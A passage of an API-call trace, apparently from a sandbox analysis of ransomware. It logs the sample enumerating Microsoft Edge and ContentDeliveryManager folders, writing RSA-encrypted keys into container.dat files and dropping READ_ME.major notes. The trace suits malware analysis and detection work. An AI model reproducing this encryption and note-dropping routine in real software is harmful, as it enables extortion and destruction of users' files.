"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\ieflipaheadcache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1adc [0244.472] GetFileSizeEx (in: hFile=0x1adc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0244.472] ReadFile (in: hFile=0x1adc, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.472] SetFilePointer (in: hFile=0x1adc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0244.472] WriteFile (in: hFile=0x1adc, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.472] SetFilePointer (in: hFile=0x1adc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0244.472] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.472] WriteFile (in: hFile=0x1adc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.473] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0244.473] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0244.473] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0244.473] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="osonu3eTyCVyLFvoi7akZry+4e2uP1nAgS3moUYGhN+VqNyReGt+8pU4Q5m0lXLr\nz82uUWeyTmUPezt5iHYwOJZwTvoxpfEQJQBXqzt0KeQxb+kekzYghkcAxRVWuQhR\nIVL9jIq44q8wSudb2PN3fnQhyLj2giDRXRhzENoQRIs/hC340OVVEzIsSurqnauz\nKLQs3Jh6UASzQXaT0DpUnb8axsRzUCTMAjwmfu26n9+fJzGy33BJa+pEdBSO5QQP\nygeJN1Zo4DNbCCdtm0o5JBQC21NGC4BxDMSnS/6YrNTmKeajmNohJC60RXouV73U\njoZnIsPhtRRIfeY8oT6mew==\n", pcchString=0x2e3f9a8) returned 1 [0244.473] WriteFile (in: hFile=0x1adc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0244.474] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.474] WriteFile (in: hFile=0x1adc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.474] CloseHandle (hObject=0x1adc) returned 1 [0244.475] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\PlayReady\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf6272c0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x902a1a6b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cbf101a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31260 [0244.475] FindNextFileW (in: hFindFile=0x2f31260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf6272c0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x902a1a6b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3cbf101a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.475] FindNextFileW (in: hFindFile=0x2f31260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x902a1a6b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x902a1a6b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x902a1a6b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="InPrivate", cAlternateFileName="INPRIV~1")) returned 1 [0244.475] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\PlayReady\\InPrivate\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\playready\\inprivate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae0 [0244.476] WriteFile (in: hFile=0x1ae0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.477] CloseHandle (hObject=0x1ae0) returned 1 [0244.477] FindNextFileW (in: hFindFile=0x2f31260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cbf101a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cbf101a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cbf101a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.477] FindNextFileW (in: hFindFile=0x2f31260, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cbf101a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cbf101a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cbf101a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.478] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2b9c81, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf2b9c81, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3cc172e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f314a0 [0244.478] FindNextFileW (in: hFindFile=0x2f314a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2b9c81, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf2b9c81, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x3cc172e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.478] FindNextFileW (in: hFindFile=0x2f314a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2b9c81, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92ab7d60, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x92ab7d60, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Default", cAlternateFileName="")) returned 1 [0244.478] FindNextFileW (in: hFindFile=0x2f314a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cc172e6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cc172e6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cc172e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.478] FindNextFileW (in: hFindFile=0x2f314a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cc172e6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3cc172e6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3cc172e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.478] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetHistory\\BackgroundTransferApi\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc833db71, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc833db71, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x3e18c504, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f31160 [0244.478] FindNextFileW (in: hFindFile=0x2f31160, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc833db71, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc833db71, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x3e18c504, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.478] FindNextFileW (in: hFindFile=0x2f31160, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xc833db71, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc833db71, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc833db71, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0244.478] FindNextFileW (in: hFindFile=0x2f31160, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e18c504, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3e18c504, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3e18c504, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.478] FindNextFileW (in: hFindFile=0x2f31160, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e18c504, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3e18c504, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3e18c504, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.478] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0244.479] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetHistory\\BackgroundTransferApi\\container.dat", dwFileAttributes=0x80) returned 1 [0244.479] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetHistory\\BackgroundTransferApi\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\ac\\inethistory\\backgroundtransferapi\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ae8 [0244.479] GetFileSizeEx (in: hFile=0x1ae8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0244.479] ReadFile (in: hFile=0x1ae8, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.479] SetFilePointer (in: hFile=0x1ae8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0244.480] WriteFile (in: hFile=0x1ae8, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0244.480] SetFilePointer (in: hFile=0x1ae8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0244.480] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.480] WriteFile (in: hFile=0x1ae8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.481] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0244.481] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0244.481] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0244.481] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+UXTtda3agM/Tam78HEFdcgX1BRNJBfBy5pt1qAzqr985b9NRV0Z8Ejc2uMh1V8T\nkCCbs4O4+9fw94imC5/oc4cE2R/vhAQtDmtnjn0MPKuvHhlCRCUUHvNsGbkWUchC\nSZqY0nWpvwCmDAL4L8a6jUjA/u5NpCCyQj9elMGSi/vKdv6gU9jCGfD5aziHqoLf\nj2AYdPA4XeL6yP3Fey5iSPWttkmXxsBm747uXB+OCvIxegATdQHWcP8BkzGSmiBP\n8D2ww3b/G9ScONDEvtHmw8I39EthX4k3CuCK2fCdtcZXfCycCNDS0UrdNgnz3fKM\nrvbs9rQ3lg31GOG/gbP6KQ==\n", pcchString=0x2e3f9a8) returned 1 [0244.481] WriteFile (in: hFile=0x1ae8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0244.482] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0244.482] WriteFile (in: hFile=0x1ae8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0244.482] CloseHandle (hObject=0x1ae8) returned 1 [0244.483] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\INetHistory\\BackgroundTransferApiGroup\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc833db71, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc833db71, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x3e18c504, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f316a0 [0244.483] FindNextFileW (in: hFindFile=0x2f316a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc833db71, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc833db71, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x3e18c504, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.483] FindNextFileW (in: hFindFile=0x2f316a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e18c504, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3e18c504, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3e18c504, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0244.483] FindNextFileW (in: hFindFile=0x2f316a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e18c504, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3e18c504, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3e18c504, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0244.484] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdd597b03, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x44d96f0b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f317e0 [0244.484] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdd597b03, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x44d96f0b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0244.484] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8c8f68d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8aa796b, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0xe8aa796b, ftLastWriteTime.dwHighDateTime=0x1d327e6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="202914", cAlternateFileName="")) returned 1 [0244.484] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\202914\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\202914\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.487] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.487] CloseHandle (hObject=0x1af0) returned 1 [0244.487] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1e2a2f0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x51556bba, ftLastAccessTime.dwHighDateTime=0x1d32719, ftLastWriteTime.dwLowDateTime=0x51556bba, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="210469", cAlternateFileName="")) returned 1 [0244.488] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210469\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210469\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.490] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.491] CloseHandle (hObject=0x1af0) returned 1 [0244.491] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8a2d0a7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe7d37eb5, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe7d37eb5, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="210509", cAlternateFileName="")) returned 1 [0244.491] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\210509\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\210509\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af0 [0244.493] WriteFile (in: hFile=0x1af0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0244.494] CloseHandle (hObject=0x1af0) returned 1 [0244.494] FindNextFileW (in: hFindFile=0x2f317e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc89e0c44, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdcb9ba8c, ftLastAccessTime.dwHighDateTime=0x1d32723, 